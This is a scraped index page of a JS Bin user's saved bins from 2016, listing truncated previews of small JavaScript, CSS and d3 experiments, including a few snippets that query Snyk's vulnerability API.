vigihe 05 Aug 2016 Archive Un-archive Scroll Indicator I was interested to see if I could make a scroll indicator like this with just CSS. You can! But maybe you shouldn't. This is an interesting consequence of a bunch of hacks held together with duct tape. It uses z-index hacks, gradient h
maxucu 05 Aug 2016 Archive Un-archive functionthis is a demo functionthis is a demo functionthis is a demo
hiyinas 05 Aug 2016 Archive Un-archive function foo() { }
1 05 Aug 2016 Archive Un-archive JS Bin
gidowo 04 Aug 2016 Archive Un-archive JS Bin
jonina 04 Aug 2016 Archive Un-archive ? DIRECTIONS: tap/click on the blue to trigger transform. Desktop: fine, mobile: scales. WTF?Lorem ipsum dolor sit amet, consectetur adipisicing elit. Aliquid ipsa mollitia ratione, esse optio similique laudantium. Corrupti dolorem ea, quae accusantium re
8 03 Aug 2016 Archive Un-archive ? DIRECTIONS: tap/click on the blue to trigger transform. Desktop: fine, mobile: scales. WTF?Lorem ipsum dolor sit amet, consectetur adipisicing elit. Aliquid ipsa mollitia ratione, esse optio similique laudantium. Corrupti dolorem ea, quae accusantium re
7 03 Aug 2016 Archive Un-archive ? DIRECTIONS: tap/click on the blue to trigger transform. Desktop: fine, mobile: scales. WTF?Lorem ipsum dolor sit amet, consectetur adipisicing elit. Aliquid ipsa mollitia ratione, esse optio similique laudantium. Corrupti dolorem ea, quae accusantium re
6 03 Aug 2016 Archive Un-archive ? DIRECTIONS: tap/click on the blue to trigger transform. Desktop: fine, mobile: scales. WTF?Lorem ipsum dolor sit amet, consectetur adipisicing elit. Aliquid ipsa mollitia ratione, esse optio similique laudantium. Corrupti dolorem ea, quae accusantium re
5 03 Aug 2016 Archive Un-archive ? DIRECTIONS: tap/click on the blue to trigger transform. Desktop: fine, mobile: scales. WTF?Lorem ipsum dolor sit amet, consectetur adipisicing elit. Aliquid ipsa mollitia ratione, esse optio similique laudantium. Corrupti dolorem ea, quae accusantium re
4 03 Aug 2016 Archive Un-archive sidebar
3 03 Aug 2016 Archive Un-archive sidebar
2 03 Aug 2016 Archive Un-archive sidebar
1 03 Aug 2016 Archive Un-archive sidebar
fuwoja 04 Aug 2016 Archive Un-archive Overflow
dufoxe 03 Aug 2016 Archive Un-archive const t = `function foo fun something else`; console.clear(); console.log(t.split('\n')[3 - 1]) // {start: 9, end: 12, string: "foo", type: "variable" } const pos = { line: 0, char: 11, // in the foo }; const line = t.split('\n')[pos.line]; console.log(li
xasuta 03 Aug 2016 Archive Un-archive $0 `; console.clear(); console.log(getPos(t, '$0')) function getPos(t, symbol) { const p
setixon 02 Aug 2016 Archive Un-archive JS Bin
vewibo 02 Aug 2016 Archive Un-archive i made a thing!
zalokif 02 Aug 2016 Archive Un-archive JS Bin
niluxug 02 Aug 2016 Archive Un-archive JS Bin
wayaho 01 Aug 2016 Archive Un-archive JS Bin
manuqe 01 Aug 2016 Archive Un-archive JS Bin
kowelew 01 Aug 2016 Archive Un-archive API URL: Return Object:
kuripi 01 Aug 2016 Archive Un-archive Welcome to JS Bin! Thanks for signing up. To get familiar with JS Bin, check out our help and follow @js_bin on Twitter. If you want to power-up your JS Bin usage, you can upgrade your account to Pro today, and you'll have access to unlimited private bins
sovuco 31 Jul 2016 Archive Un-archive var dispatch = d3.dispatch('metadata'); var guid = 0; var parseDate = d3.time.format('%Y-%m').parse; var thou = d3.format(',.2f'); var int = d3.format(',.0f'); var monYear = d3.time.format('%b %Y'); var colours = ['#90caf9', '#2196f3', '#e53935']; var ccy
1 31 Jul 2016 Archive Un-archive var dispatch = d3.dispatch('metadata'); var guid = 0; var parseDate = d3.time.format('%Y-%m').parse; var thou = d3.format(',.2f'); var int = d3.format(',.0f'); var monYear = d3.time.format('%b %Y'); var colours = ['#90caf9', '#2196f3', '#e53935']; var ccy
yovufu 31 Jul 2016 Archive Un-archive date,active,cancelled,total,churn,mrr 2014-07,43,2,41,4.88,233 2014-08,27,1,67,1.49,379.2 2014-09,25,6,86,6.98,487.6 2014-10,36,2,120,1.67,681.2 2014-11,48,8,160,5.00,898 2014-12,18,7,172,4.07,956 2015-01,22,5,189,2.65,1045 2015-02,24,7,205,3.41,1135 2015
beqevop 31 Jul 2016 Archive Un-archive date,active,cancelled,total,churn,mrr 2014-07,43,2,41,4.88,233 2014-08,27,1,67,1.49,379.2 2014-09,25,6,86,6.98,487.6 2014-10,36,2,120,1.67,681.2 2014-11,48,8,160,5.00,898 2014-12,18,7,172,4.07,956 2015-01,22,5,189,2.65,1045 2015-02,24,7,205,3.41,1135 2015
dagotu 31 Jul 2016 Archive Un-archive ا ا اضغ hay
zeqeyus 28 Jul 2016 Archive Un-archive One Lorem ipsum dolor sit amet, consectetur adipisicing elit. Laborum ab esse placeat nihil distinctio dolorem quidem quas earum facilis iste, quos expedita sunt tenetur itaque obcaecati voluptates nam totam rerum. Lorem ipsum dolor sit amet, consectetur
marexu 28 Jul 2016 Archive Un-archive One Lorem ipsum dolor sit amet, consectetur adipisicing elit. Laborum ab esse placeat nihil distinctio dolorem quidem quas earum facilis iste, quos expedita sunt tenetur itaque obcaecati voluptates nam totam rerum. Lorem ipsum dolor sit amet, consectetur
jenapuj 28 Jul 2016 Archive Un-archive The MIT License (MIT) Copyright (c) 2011 &lt;copyright holders&gt; Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restricti
cimebi 27 Jul 2016 Archive Un-archive const dnd = { dnd_enabled: true, next_dnd_start_ts: 1469639734, next_dnd_end_ts: 1469689200 }; const now = Date.now(); console.clear(); console.log(now > dnd.next_dnd_end_ts);
mufaqu 26 Jul 2016 Archive Un-archive const el = document.querySelector('#log'); function log(a, b) { el.innerHTML = `first > second? <b>${a > b}</b>, first: ${a}, second: ${b}\n` + el.innerHTML; } function foo() { var first = performance.now(); requestAnimationFrame(function (second) { log(f
qiqeli 26 Jul 2016 Archive Un-archive window.console.log('hello world');
picima 25 Jul 2016 Archive Un-archive m = 5; console.log("first",m); setInterval(function (){ console.log("then", m); }, 2000);
lewamu 25 Jul 2016 Archive Un-archive m = 5; console.log("first",m); debugger setInterval(function (){ console.log("then", m); }, 2000);
cumuces 25 Jul 2016 Archive Un-archive function factorialRec(n) { if (n <= 1) return 1; return n*factorialRec(n-1); } console.log(factorialRec(3));
vipava 23 Jul 2016 Archive Un-archive Object.defineProperty(window, 'a', { get: function() { console.log('get a'); return 1; }, set: function(v) { console.log('SC set a to ' + v); // set was called, but we're ignoring it } }); console.clear(); console.log(a = 2); // 2 console.log(a); // 1
7 23 Jul 2016 Archive Un-archive Object.defineProperty(window, 'a', { get: function() { console.log('get a'); return 1; }, set: function(v) { console.log('SC set a to ' + v); // set was called, but we're ignoring it } }); console.clear(); console.log(a = 2); console.log(a); // Pop quiz h
6 22 Jul 2016 Archive Un-archive Object.defineProperty(window, 'c', { get: function() { console.log('GC get c'); return 1; }, set: function(v) { console.log('SC set c to ' + v); } }); w Object.defineProperty(window, 'd', { get: function() { console.log('GD get d'); return 1; }, set: func
5 22 Jul 2016 Archive Un-archive Object.defineProperty(window, 'c', { get: function() { console.log('GC get c'); return 1; }, set: function(v) { console.log('SC set c to ' + v); } }); Object.defineProperty(window, 'd', { get: function() { console.log('GD get d'); return 1; }, set: functi
4 22 Jul 2016 Archive Un-archive Object.defineProperty(window, 'c', { get: function() { console.log('GC get c'); return 1; }, set: function(v) { console.log('SC set c to ' + v); } }); Object.defineProperty(window, 'd', { get: function() { console.log('GD get d'); return 1; }, set: functi
3 22 Jul 2016 Archive Un-archive Object.defineProperty(window, 'c', { get: function() { console.log('GC get c'); return 1; }, set: function(v) { console.log('SC set c to ' + v); } }); Object.defineProperty(window, 'd', { get: function() { console.log('GD get d'); return 1; }, set: functi
2 22 Jul 2016 Archive Un-archive Object.defineProperty(window, 'c', { get: function() { console.log('get c'); return 1; }, set: function(v) { console.log('set c to ' + v); } }); Object.defineProperty(window, 'd', { get: function() { console.log('get d'); return 1; }, set: function(v) { c
1 21 Jul 2016 Archive Un-archive Object.defineProperty(window, 'c', { get: function() { console.log('get c'); return 1; }, set: function(v) { console.log('set c to ' + v); } }); c = d = 2; console.clear(); console.log(`c=${c}, d=${d}, typeof c=${typeof c}`);
galujos 23 Jul 2016 Archive Un-archive const two = { a: 1, b: 2, c: 3, d: 4 }; const one = { a, b, d } = two; // what is one.c, undefined or 3? // console.log(one.c);
3 23 Jul 2016 Archive Un-archive const two = { a: 1, b: 2, c: 3, d: 4 }; const one = { a, b, d } = two; // what is the value of one.c, undefined or 3? // console.log(one.c);
2 23 Jul 2016 Archive Un-archive const one = { a, b, d } = { a: 1, b: 2, c: 3, d: 4 }; // what is the value of one.c, undefined or 3? // console.log(one.c);
1 20 Jul 2016 Archive Un-archive const one = { a, b, d } = { a: 1, b: 2, c: 3, d: 4 }; // what is the value of one.c?
kuqeto 22 Jul 2016 Archive Un-archive const xhr = new XMLHttpRequest(); xhr.addEventListener('load', function () { const el = document.querySelector('code'); el.innerHTML = xhr.response; hljs.highlightBlock(el); }); xhr.open('GET', 'https://output.jsbin.com/' + location.search.substring(1) +
huqiqu 22 Jul 2016 Archive Un-archive JS Bin
bifujep 21 Jul 2016 Archive Un-archive m = 5; console.log("first",m); setInterval(function (){ console.log("then", m); }, 2000);
fakuno 21 Jul 2016 Archive Un-archive Another demo.
wogima 21 Jul 2016 Archive Un-archive JS Bin
vecoqa 21 Jul 2016 Archive Un-archive My demo
miciga 21 Jul 2016 Archive Un-archive Simple demo
beginop 20 Jul 2016 Archive Un-archive const foo = { a, b} => { console.log(a, b); }; foo({ a: 1, b: 2 });
gujiwuw 20 Jul 2016 Archive Un-archive const one = { a, b, d } = { a: 1, b: 2, c: 3, d: 4 }; // what is the value of one.c? console.log(one.c)
denipin 19 Jul 2016 Archive Un-archive Just to let you know, the re-charge on your JS Bin Pro subscription is currently failing with the card ending in {{last4}}. You'll need to fix this before your subscription automatically cancelled (after 3 charge attempts). Update your card details today
1 19 Jul 2016 Archive Un-archive Welcome to JS Bin! Thanks for signing up. To get familiar with JS Bin, check out our help and follow @js_bin on Twitter. As a special gift, I'd like to offer you 3 months free pro{{code}} (but I'll give you a couple of weeks to try out JS Bin before it ex
yedole 19 Jul 2016 Archive Un-archive const body = { vulnerabilities: [{ isUpgradable: false, isPatchable: false, }], }; const proceed = body.vulnerabilities.some(vuln => { return vuln.isUpgradable || vuln.isPatchable }); const fixableBody = Object.assign({}, body, { vulnerabilities: body.vul
tusoza 18 Jul 2016 Archive Un-archive function required(what) { throw new Error(`Param ${what} is required`); } function whoKnows({ auth = required('auth'), // cheap argument validation user = required('user'), repo = required('repo'), title = 'Some default title', // defaults! sha = null, //
luzonah 18 Jul 2016 Archive Un-archive const data = { id: 1234, ccy: 'gbp' }; const { id } = data; console.clear(); console.log(id);
yevapan 16 Jul 2016 Archive Un-archive JS Bin
tewagu 15 Jul 2016 Archive Un-archive .axis { font: 10px Helvetica Neue; fill: #666; } .axis path, .axis line { fill: none; stroke: #000; shape-rendering: crispEdges; } .axis line { stroke: #000; stroke-opacity: .1; shape-rendering: crispEdges; } .metadata { pointer-events: none; } .title { f
sulusa 14 Jul 2016 Archive Un-archive date,active,cancelled 2014-07-21,1,-1 2014-07-23,18,-5 2014-07-24,1,-1 2014-07-25,4,-1 2014-07-26,0,-1 2014-07-27,2,0 2014-07-28,2,-1 2014-07-29,1,0 2014-07-30,1,-1 2014-07-31,2,0 2014-08-01,1,-2 2014-08-03,0,-1 2014-08-04,0,-1 2014-08-06,1,0 2014-08-07,0
qoteva 12 Jul 2016 Archive Un-archive JS Bin
xaroxuf 12 Jul 2016 Archive Un-archive JS Bin
rudabov 09 Jul 2016 Archive Un-archive I hope this still works. It does seem to, so long as I stay online...
xacuro 09 Jul 2016 Archive Un-archive ...
gejesam 09 Jul 2016 Archive Un-archive // demo time - does it work?
votolok 09 Jul 2016 Archive Un-archive // this is my demo - i do hope it works again
zikaqep 05 Jul 2016 Archive Un-archive const a = true ? _ => _ : function () { return 'ok'; }; console.log(a('10'));
paqeti 04 Jul 2016 Archive Un-archive html { height: 100%; background:hotpink } body { flex-direction: column; display: flex; align-items: center; justify-content: center; height: 100%; } body:after { content: 'Canary'; font-family: 'OperatorMono-Book'; font-weight: bold; text-shadow: 0px 1px
vosuda 02 Jul 2016 Archive Un-archive demo.... - does this work?...! no?
yajolex 01 Jul 2016 Archive Un-archive console.clear(); const l10nENus = new Intl.DateTimeFormat("en-US"); const l10nENgb = new Intl.DateTimeFormat("en-GB"); console.log(`US: ${l10nENus.format(new Date("2015-01-02"))}`); console.log(`GB: ${l10nENgb.format(new Date("2015-01-02"))}`);
wuyupa 01 Jul 2016 Archive Un-archive var l10nUSD = new Intl.NumberFormat("en-US", { style: "currency", currency: "USD" }); var l10nGBP = new Intl.NumberFormat("en-GB", { style: "currency", currency: "GBP" }); var l10nEUR = new Intl.NumberFormat("de-DE", { style: "currency", currency: "EUR" }
reture 01 Jul 2016 Archive Un-archive let target = { foo: "Welcome, foo" }; let proxy = new Proxy(target, { get (receiver, name) { return name in receiver ? receiver[name] : `Hello, ${name}`; } }); console.log(proxy.foo === "Welcome, foo"); console.log(proxy.world === "Hello, world");
qizodo 30 Jun 2016 Archive Un-archive a = false; b = true; console.clear(); if (!a || !b) { console.log('here') } else { console.log('want to be here') }
cafovo 29 Jun 2016 Archive Un-archive Hello World jump to 5 Hello World Hello World Hello World Hello World
gocukoc 29 Jun 2016 Archive Un-archive body { background: white; } img { max-width: 100%; }
kuqujo 29 Jun 2016 Archive Un-archive JS Bin
rafunu 29 Jun 2016 Archive Un-archive JS Bin
qugozok 29 Jun 2016 Archive Un-archive // const source = { // 'C-level (CTO, CEO, founder)': 16, // 'Senior': 42, // 'Team lead / PM / PO': 20, // 'Mid-level': 14, // 'Junior': 4, // }; // const source = { // 'More than 10 years': 52, // 'Less than 10 years': 27, // 'Less than 5 years': 12, //
5 29 Jun 2016 Archive Un-archive // const source = { // 'C-level (CTO, CEO, founder)': 16, // 'Senior': 42, // 'Team lead / PM / PO': 20, // 'Mid-level': 14, // 'Junior': 4, // }; // const source = { // 'More than 10 years': 52, // 'Less than 10 years': 27, // 'Less than 5 years': 12, //
4 29 Jun 2016 Archive Un-archive // const source = { // 'C-level (CTO, CEO, founder)': 16, // 'Senior': 42, // 'Team lead / PM / PO': 20, // 'Mid-level': 14, // 'Junior': 4, // }; // const source = { // 'More than 10 years': 52, // 'Less than 10 years': 27, // 'Less than 5 years': 12, //
3 29 Jun 2016 Archive Un-archive const source = { 'C-level (CTO, CEO, founder)': 16, 'Senior': 42, 'Team lead / PM / PO': 20, 'Mid-level': 14, 'Junior': 4, }; const colors = [ '#1477d6', // accent '#24bd9b', // top // greys '#F5F5F5', '#EEEEEE', '#E0E0E0', ]; // Any of the following form
2 29 Jun 2016 Archive Un-archive const source = { 'C-level (CTO, CEO, founder)': 16, 'Senior': 42, 'Team lead / PM / PO': 20, 'Mid-level': 14, 'Junior': 4, }; const colors = [ '#1477d6', // accent '#24bd9b', // top // greys '#F5F5F5', '#EEEEEE', '#E0E0E0', ]; // Any of the following form
1 29 Jun 2016 Archive Un-archive const source = { 'C-level (CTO, CEO, founder)': 16, 'Senior': 42, 'Team lead / PM / PO': 20, 'Mid-level': 14, 'Junior': 4, }; const colors = [ '#1477d6', // accent '#24bd9b', // top // greys '#F5F5F5', '#EEEEEE', '#E0E0E0', ]; // Any of the following form
qoquril 27 Jun 2016 Archive Un-archive * { font-family: sans-serif; }
1 27 Jun 2016 Archive Un-archive * { font-family: sans-serif; }
bedubi 25 Jun 2016 Archive Un-archive ok
dafaba 25 Jun 2016 Archive Un-archive The big question!
murero 25 Jun 2016 Archive Un-archive Demo app
huhupe 25 Jun 2016 Archive Un-archive // does this still work?
peposi 24 Jun 2016 Archive Un-archive //
yeroju 24 Jun 2016 Archive Un-archive const p1 = new Promise(resolve => { setTimeout(() => { resolve('slow'); }, 10 * 1000); }); const p2 = new Promise(resolve => { setTimeout(() => { resolve('fast'); }, 1000); }); console.clear(); Promise.race([p1, p2]).then(console.log)
xunuha 07 Jun 2016 Archive Un-archive function required(what) { throw new Error(`Param ${what} is required`); } function foo({ a = required('a'), c = 3, ...rest } = {}) { const data = { a, c, ...rest }; console.log(data); } foo({ a: 10, b: 20 })
1 07 Jun 2016 Archive Un-archive function required(what) { throw new Error(`Param ${what} is required`); } function foo({ a = required('a'), c = 3, ...rest } = {}) { const data = arguments[0]; console.log('with rest: ', { a, c, ...rest }) // how do we get? // { a: 10, b: 20, c: 3 } } foo
konexob 07 Jun 2016 Archive Un-archive function required(what) { throw new Error(`Param ${what} is required`); } function foo({ a = required('a'), c = 3 } = {}) { const data = arguments[0]; console.log(data); // { a: 10, b: 20 } // how do we get? // { a: 10, b: 20, c: 3 } } foo({ a: 10, b: 20
1 07 Jun 2016 Archive Un-archive function required(what) { throw new Error(`Param ${what} is required`); } function foo({ a = required('a'), c = 3 } = {}) { const data = arguments[0]; console.log(data); // { a: 10, b: 20 } // how do we get? // { a: 10, b: 20, c: 3 } } foo({ a: 10, b: 20
pikocap 07 Jun 2016 Archive Un-archive const pkg = { } let key = [ 'dependencies', 'devDependencies', 'peerDependencies', 'optionalDependencies', ].find(key => false); console.log(`key: ${key}`)
dozifa 07 Jun 2016 Archive Un-archive const pkg = { dep: { a: 1, b: 2 } }; function doit(_) { let pkg = Object.assign({}, _); // ⚠ not a deep copy pkg.dep.a = 2; return pkg; } console.clear(); const pkg2 = doit(pkg); console.assert(pkg.dep.a !== pkg2.dep.a);
fateqo 07 Jun 2016 Archive Un-archive 'use strict'; const person = { // immutable pointer name: 'Remy', location: 'Brighton', details: { a: 1, b: 2, c: true, }, }; Object.freeze(person); // immutable properties Object.seal(person) person.details.c = false; console.log(person) try { person.nam
hubahi 02 Jun 2016 Archive Un-archive function required(what) { throw new Error(`Param ${what} is required`); } var foo = function ({ auth = required('auth'), // cheap argument validation user = required('user'), repo = required('repo'), ref = 'my-ref', sha = null, title = 'super title', body
2 02 Jun 2016 Archive Un-archive function required(what) { throw new Error(`Param ${what} is required`); } var foo = function ({ auth = required('auth'), // cheap argument validation user = required('user'), repo = required('repo'), ref = 'my-ref', sha = null, title = 'super title', body
1 02 Jun 2016 Archive Un-archive function required(what) { throw new Error(`Param ${what} is required`); } var foo = function ({ auth = required('auth'), // cheap argument validation user = required('user'), repo = required('repo'), ref = 'my-ref', sha = null, title = 'super title', body
litoqat 02 Jun 2016 Archive Un-archive function wait(ms) { return new Promise(r => setTimeout(r, ms)) } async function slowHello() { await wait(1000); return "hello"; } async function test() { console.log(await slowHello()) } test();
2 02 Jun 2016 Archive Un-archive console.clear(); async function yo() { return yield new Promise(resolve => { setTimeout(_ => { resolve(true); }, 500); }); } let foo = yo(); console.log(foo.next());
1 02 Jun 2016 Archive Un-archive console.clear(); function* yo() { return yield new Promise(resolve => { setTimeout(_ => { resolve(true); }, 500); }); } let foo = yo(); console.log(foo);
ruziqi 31 May 2016 Archive Un-archive var fn = ([a, b]) => { console.log('a: ' + a); console.log('b: ' + b); } fn([1, 2])
zayeqit 31 May 2016 Archive Un-archive JS Bin
1 31 May 2016 Archive Un-archive JS Bin
pogajoy 31 May 2016 Archive Un-archive JS Bin
vitati 27 May 2016 Archive Un-archive let path = 'foo'; // this is dynamic return { 'foo': { // <- can that be `path` like the comment below? a: 1, b: 2 } } /* return { path: { a: 1, b: 2 } } // --- actually returns { foo: { a: 1, b; 2 } } */
ruzale 25 May 2016 Archive Un-archive const urls = [ 'https://github.com/Snyk/snyk', 'https://github.com/Snyk/snyk/releases/tag/v1.14.2', 'https://github.com/Snyk/vulndb/tree/snapshots', 'https://github.com/Snyk/snyk/commit/75477b18']; function parse(url) { var res = {}; url.replace(/github.c
vowadi 24 May 2016 Archive Un-archive class Foo extends Function { constructor(name) { super(name); // actually wanted to return a specific function this.dooberry = name; } get foo() { return 'bar'; } } var f = new Foo(); console.log(f());
1 24 May 2016 Archive Un-archive class Foo extends Function { constructor(name) { super(); this.dooberry = name; } get foo() { return 'bar'; } } var f = new Foo('foo'); console.log()
saxapos 23 May 2016 Archive Un-archive Change your connection type (or just offline) Currently: ?
tipesa 23 May 2016 Archive Un-archive Try on a mobile device
rawoku 23 May 2016 Archive Un-archive const video = document.querySelector('video'); function done(stream) { var url = window.URL.createObjectURL(stream); video.src = url; // starts to play video } navigator.webkitGetUserMedia({ video: true }, done, console.error);
1 23 May 2016 Archive Un-archive const video = document.querySelector('video'); function done(stream) { // var url = window.URL.createObjectURL(stream); video.src = stream; // starts to play video video.play(); } navigator.webkitGetUserMedia({ video: true }, done, console.error);
qefigi 23 May 2016 Archive Un-archive Click me response...
tedoruz 23 May 2016 Archive Un-archive Open an image or drag and drop an image on the input element.
1 23 May 2016 Archive Un-archive Open an image or drag and drop an image on the input element.
fobiniw 23 May 2016 Archive Un-archive View on a device with motion sensors. device orientation device motion (values are trimmed a little to be a little less verbose)
1 23 May 2016 Archive Un-archive View on a device with motion sensors. device orientation device motion
hikicet 23 May 2016 Archive Un-archive Select a file using your mobile phone
qetavi 23 May 2016 Archive Un-archive navigator.getBattery() .then(b => console.log(`${b.level * 100}%`))
vagitel 21 May 2016 Archive Un-archive .homescreen { background: url('data:image/svg+xml;utf8,%3Csvg id=%22Layer_1%22 data-name=%22Layer 1%22 xmlns=%22http://www.w3.org/2000/svg%22 viewBox=%220 0 1000 491.7742%22%3E%3Cdefs%3E%3Cstyle%3E.cls-1,.cls-2{fill:#fff;}.cls-2{opacity:0.1;}.cls-3,.cls-4
wikina 18 May 2016 Archive Un-archive JS Bin
wedozi 17 May 2016 Archive Un-archive function templater(string) { let s = console.log(String.raw( { raw: string })); console.log(s.raw); } console.clear(); templater('something cool: ${name} and ${age}'); const template = ({name, age} = {}) => `something cool: ${name} and ${age}`; // console
logebe 28 Apr 2016 Archive Un-archive How do you like your eggs? Polling data.content:
1 28 Apr 2016 Archive Un-archive has a score of and has these skills:
halipo 20 Apr 2016 Archive Un-archive // setup var c = document.getElementsByTagName('canvas')[0], ctx = c.getContext('2d'); c.height = 50; c.width = 50; c.onclick = function () { window.open(c.toDataURL('image/png'), ''); };
foquhe 18 Apr 2016 Archive Un-archive JS Bin
tuxiyo 13 Apr 2016 Archive Un-archive Add 0 Pop &times; {{value}}
4 13 Apr 2016 Archive Un-archive Add 0 Pop &times; {{value}}
3 13 Apr 2016 Archive Un-archive Add 0 Pop &times; {{value}}
2 04 Apr 2016 Archive Un-archive Add 0 Pop &times; {{value}}
1 01 Apr 2016 Archive Un-archive demo
felise 12 Apr 2016 Archive Un-archive var one = new Promise((resolve, reject) => { fail().catch(reject); }); function fail() { return new Promise((resolve, reject) => { setTimeout(() => { console.log('timeout fired'); var e = new Error('rejected'); // do I get reject(e); }, 1000); }); } conso
1 12 Apr 2016 Archive Un-archive var one = new Promise((resolve, reject) => { reject(fail()); }); function fail() { return new Promise((resolve, reject) => { setTimeout(() => { console.log('timeout fired'); var e = new Error('fail'); // do I get resolve(e); }, 1000); }); } console.clear(
leruce 07 Apr 2016 Archive Un-archive var exports = {}; /** * Object#toString() ref for stringify(). */ var toString = Object.prototype.toString; /** * Object#hasOwnProperty ref */ var hasOwnProperty = Object.prototype.hasOwnProperty; /** * Array#indexOf shim. */ var indexOf = typeof Array.pr
qiyisi 04 Apr 2016 Archive Un-archive Value of Cat[0] DOB: Table Update
zifali 04 Apr 2016 Archive Un-archive Add 0 Pop
vepozu 01 Apr 2016 Archive Un-archive JS Bin on jsbin.com
cixefe 30 Mar 2016 Archive Un-archive UL Select
1 30 Mar 2016 Archive Un-archive UL Select
mepesod 28 Mar 2016 Archive Un-archive JS Bin
xanomo 22 Mar 2016 Archive Un-archive JS Bin
zivolip 20 Mar 2016 Archive Un-archive JS Bin
1 20 Mar 2016 Archive Un-archive JS Bin
derugu 18 Mar 2016 Archive Un-archive JS Bin
gezisej 12 Mar 2016 Archive Un-archive Try it
ganufat 02 Mar 2016 Archive Un-archive Mongoose MongoDB ODM
pikovo 02 Mar 2016 Archive Un-archive $.getJSON('https://snyk.io/api/v1/vuln/npm/qs@0.0.6') .done(function(res) { console.log(res); });
haworu 02 Mar 2016 Archive Un-archive function embed(pkg) { // jshint ignore:line const root = 'https://snyk.io/api/v1/vuln/npm'; return fetch(`${root}/${pkg}`).then(res => res.json()).then(res => { console.log(res); let vulns = { vulns: 0, directVulns: 0, depVulns: 0, }; if (res.ok) { return
gebica 01 Mar 2016 Archive Un-archive console.clear(); fetch('https://app.snyk.io/api/v1/vuln/npm/mongoose/3.8.17').then(res => res.json()).then(res => { console.log(res.vulnerabilities.map(vuln => { return { id: vuln.id, upgradePath: vuln.upgradePath } })); })
kitiqe 01 Mar 2016 Archive Un-archive function log() { console.log([].slice.call(arguments)); } function a() { var args = ['another'].splice.call(arguments, 0, 0); return log.apply(null, args); }
qefeya 27 Feb 2016 Archive Un-archive var path = [ 'foo@1.0.0', 'glue@3.2.0', 'hapi@13.0.0', 'heavy@4.0.0', 'joi@7.1.0', 'moment@2.11.0' ]; console.log((path.join(',').match(/@/g) || []).length)
vaxeru 26 Feb 2016 Archive Un-archive // assume that `a` and `b` are more complicated // objects, but they both have this prop, // what lodash command do I need to cleanly merge // the `flags` property (and assume others too) var a = { flags: ['version', 'help'], return: true, }; var b = { fl
bexujin 26 Feb 2016 Archive Un-archive var tmpl = '`${arg} wanted to use this later`'; function printit(arg) { return eval(tmpl); // somehow apply name to tmpl, obviously not like this! } console.log(printit('remy')); console.log(printit('julie'));
tejore 26 Feb 2016 Archive Un-archive function embed(pkg = location.pathname.split('/').pop() + '/latest') { // jshint ignore:line const root = 'http://localhost:8000/api/v1/vuln/npm'; return fetch(`${root}/${pkg}`).then(res => res.json()).then(res => { let vulns = { vulns: 0, directVulns: 0,
zijobo 23 Feb 2016 Archive Un-archive var es5 = function () { console.log('es5', arguments.length); }; var es6 = () => { // throws - arguments is not available in arrow fun land console.log('es6', arguments.length); }; console.clear(); es5(); es6();
1 23 Feb 2016 Archive Un-archive var es5 = function () { console.log('es5', arguments.length); }; var es6 = () => { // throws - arguments is not available in arrow fun land console.log('es6', arguments.length); }; console.clear(); es5(); es6();
teboce 16 Feb 2016 Archive Un-archive Error An error occurred while processing your request. Reference&#32;&#35;179&#46;9fff4317&#46;1455628059&#46;73faae0a
kivero 14 Feb 2016 Archive Un-archive const { Component } = React const { render } = ReactDOM const Root = () => ( <div className="Root"> <Tabs selected={ 1 }> <TabList> <Tab> <Button>Foo</Button> </Tab> <Tab> <Button>Bar</Button> </Tab> <Tab> <Button>Baz</Button> </Tab> </TabList> <TabPanel>
puluze 14 Feb 2016 Archive Un-archive var $c = $(".c"); var w = window.innerWidth; var h = window.innerHeight; var hi = 300/$c.length; var wi = 100/$c.length; $c.each(function(i) { var _ = $(this); var size = random(5, 50); TweenMax.set(_, { left: i * wi + "vw", top: '101vh', z: random(-100,
hinige 12 Feb 2016 Archive Un-archive $location.protocol() = $location.host() = $location.port() = $location.path() = $location.search() = $location.hash() = /base/first?a=b | sec/ond?flag#hash | external
cerawi 10 Feb 2016 Archive Un-archive This is an inbox layout. Check one item Hold down your Shift key Check a lower item Everything inbetween should also be set to checked Try do it with out any libraries Just regular JavaScript Good Luck! Don't forget to tweet your r
4 10 Feb 2016 Archive Un-archive This is an inbox layout. Check one item Hold down your Shift key Check a lower item Everything inbetween should also be set to checked Try do it with out any libraries Just regular JavaScript Good Luck! Don't forget to tweet your r
3 10 Feb 2016 Archive Un-archive This is an inbox layout. Check one item Hold down your Shift key Check a lower item Everything inbetween should also be set to checked Try do it with out any libraries Just regular JavaScript Good Luck! Don't forget to tweet your r
2 10 Feb 2016 Archive Un-archive This is an inbox layout. Check one item Hold down your Shift key Check a lower item Everything inbetween should also be set to checked Try do it with out any libraries Just regular JavaScript Good Luck! Don't forget to tweet your r
1 10 Feb 2016 Archive Un-archive This is an inbox layout. Check one item Hold down your Shift key Check a lower item Everything inbetween should also be set to checked Try do it with out any libraries Just regular JavaScript Good Luck! Don't forget to tweet your r
wikuxuz 09 Feb 2016 Archive Un-archive // fat arrows function Quick(t) { this.plan = 0; this.todo = []; } // "old school" Quick.prototype.test = function (name) { console.log(this instanceof Quick) this.plan++; this.todo.push(Promise.resolve(name)); }; // "fat arrow school" // muhahaha, this h
soyame 09 Feb 2016 Archive Un-archive function sum (left=1, right=2) { return left + right } console.log(sum()) // <- 3 console.log(sum(2)) // <- 4 console.log(sum(1, 0)) // <- 1
dosopi 08 Feb 2016 Archive Un-archive Offlineoffline
cugona 04 Feb 2016 Archive Un-archive Will is end up in my dropbox? Just another demo - please tell me this works.
1 04 Feb 2016 Archive Un-archive Will is end up in my dropbox?
furuxa 01 Feb 2016 Archive Un-archive UL Select
yiretu 30 Jan 2016 Archive Un-archive I made this after Andrew said it wasn't saving.
leteta 13 Jan 2016 Archive Un-archive var f = document.createElement('iframe'); document.body.appendChild(f); f.contentDocument.open(); f.contentDocument.write(`<script src="https://code.jquery.com/jquery-1.11.3.js"><\/script><script>console.log($.fn.jquery)<\/script>`); f.contentDocument.clo
joyiki 12 Jan 2016 Archive Un-archive console.clear(); var cache = {}; function foo(name, value) { if (cache[name]) return Promise.resolve(cache[name]); console.log('---'); var p = new Promise(function (resolve, reject) { setTimeout(function () { cache[name] = value; if (value === 2) { cache[
1 12 Jan 2016 Archive Un-archive console.clear(); var cache = {}; function foo(name, value) { if (cache[name]) return Promise.resolve(cache[name]); var p = new Promise(function (resolve, reject) { if (value === 1) { return reject(new Error('foo')); } cache[name] = value; resolve(value);
bevega 08 Jan 2016 Archive Un-archive // c
